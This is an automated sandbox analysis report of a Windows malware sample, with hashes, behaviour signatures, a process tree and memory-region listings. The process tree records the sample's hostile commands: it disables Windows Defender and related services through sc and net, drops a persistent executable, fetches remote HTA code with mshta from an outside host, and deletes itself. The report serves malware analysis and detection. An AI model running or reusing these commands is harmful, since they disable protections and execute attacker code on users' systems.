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Analysis

  • max time kernel
    150s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2024, 09:23

General

  • Target

    f5b25ec260db4901e88d2793b5e34998_JaffaCakes118.exe

  • Size

    2.5MB

  • MD5

    f5b25ec260db4901e88d2793b5e34998

  • SHA1

    05e5794bffc36694bb39750652fd84dc7e3146e6

  • SHA256

    6edffe88fcc7936cd27cb9016ca25739aabd148e40cb44eeff8c53975f3144af

  • SHA512

    5b6331493a142bbeb2c477a007c7275be20fbdc9af3413a508e84ceb8c2c4a6e34be30ce6dfddf2dbfd6cfd187e4a67823c687923f7d36a500c5f56baba04bec

  • SSDEEP

    49152:8nEdi2AHYTFxTal3sQ7VoqvZgpIgpilI3gXWs0SoyN+Y+RC5Hwen/aGLYAzpkbyh:z44pxTal3sQ5raXS1c2Fv/ZLYAzpXh

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=UXMRPRRI&2=i-s&3=176&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f5b25ec260db4901e88d2793b5e34998_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f5b25ec260db4901e88d2793b5e34998_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:924
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4276
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2444
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4112
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2928
    • C:\Users\Admin\AppData\Roaming\Microsoft\dysfrs.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\dysfrs.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4980
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1140
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1416
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3476
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=UXMRPRRI&2=i-s&3=176&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3232
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\F5B25E~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\dysfrs.exe

    Filesize

    2.5MB

    MD5

    f5b25ec260db4901e88d2793b5e34998

    SHA1

    05e5794bffc36694bb39750652fd84dc7e3146e6

    SHA256

    6edffe88fcc7936cd27cb9016ca25739aabd148e40cb44eeff8c53975f3144af

    SHA512

    5b6331493a142bbeb2c477a007c7275be20fbdc9af3413a508e84ceb8c2c4a6e34be30ce6dfddf2dbfd6cfd187e4a67823c687923f7d36a500c5f56baba04bec

  • memory/924-0-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/924-1-0x00000000026F0000-0x000000000274A000-memory.dmp

    Filesize

    360KB

  • memory/924-9-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-8-0x0000000002850000-0x0000000002851000-memory.dmp

    Filesize

    4KB

  • memory/924-7-0x00000000026D0000-0x00000000026D1000-memory.dmp

    Filesize

    4KB

  • memory/924-6-0x00000000026E0000-0x00000000026E1000-memory.dmp

    Filesize

    4KB

  • memory/924-5-0x00000000026A0000-0x00000000026A1000-memory.dmp

    Filesize

    4KB

  • memory/924-4-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

    Filesize

    4KB

  • memory/924-3-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

    Filesize

    4KB

  • memory/924-2-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

    Filesize

    4KB

  • memory/924-11-0x00000000026B0000-0x00000000026B1000-memory.dmp

    Filesize

    4KB

  • memory/924-10-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-27-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-26-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-25-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-24-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-23-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/924-22-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/924-21-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/924-20-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/924-19-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-18-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-17-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-16-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-15-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-14-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-13-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-12-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-30-0x0000000002890000-0x0000000002891000-memory.dmp

    Filesize

    4KB

  • memory/924-47-0x00000000026F0000-0x000000000274A000-memory.dmp

    Filesize

    360KB

  • memory/924-46-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-45-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-44-0x0000000002980000-0x0000000002981000-memory.dmp

    Filesize

    4KB

  • memory/924-43-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-42-0x0000000002970000-0x0000000002971000-memory.dmp

    Filesize

    4KB

  • memory/924-41-0x0000000002940000-0x0000000002941000-memory.dmp

    Filesize

    4KB

  • memory/924-40-0x0000000002950000-0x0000000002951000-memory.dmp

    Filesize

    4KB

  • memory/924-39-0x00000000028E0000-0x00000000028E1000-memory.dmp

    Filesize

    4KB

  • memory/924-38-0x0000000003700000-0x0000000003701000-memory.dmp

    Filesize

    4KB

  • memory/924-37-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-36-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-35-0x0000000002930000-0x0000000002931000-memory.dmp

    Filesize

    4KB

  • memory/924-34-0x0000000002910000-0x0000000002911000-memory.dmp

    Filesize

    4KB

  • memory/924-33-0x00000000028C0000-0x00000000028C1000-memory.dmp

    Filesize

    4KB

  • memory/924-32-0x00000000028F0000-0x00000000028F1000-memory.dmp

    Filesize

    4KB

  • memory/924-31-0x0000000002870000-0x0000000002871000-memory.dmp

    Filesize

    4KB

  • memory/924-29-0x00000000028A0000-0x00000000028A1000-memory.dmp

    Filesize

    4KB

  • memory/924-28-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/924-52-0x0000000003710000-0x0000000003711000-memory.dmp

    Filesize

    4KB

  • memory/924-51-0x0000000000A90000-0x0000000000A91000-memory.dmp

    Filesize

    4KB

  • memory/924-50-0x0000000000A80000-0x0000000000A81000-memory.dmp

    Filesize

    4KB

  • memory/924-49-0x00000000036F0000-0x00000000036F2000-memory.dmp

    Filesize

    8KB

  • memory/924-48-0x0000000003700000-0x0000000003702000-memory.dmp

    Filesize

    8KB

  • memory/924-60-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/924-59-0x00000000026F0000-0x000000000274A000-memory.dmp

    Filesize

    360KB

  • memory/1300-57-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB

  • memory/1300-61-0x0000000000400000-0x00000000008D3000-memory.dmp

    Filesize

    4.8MB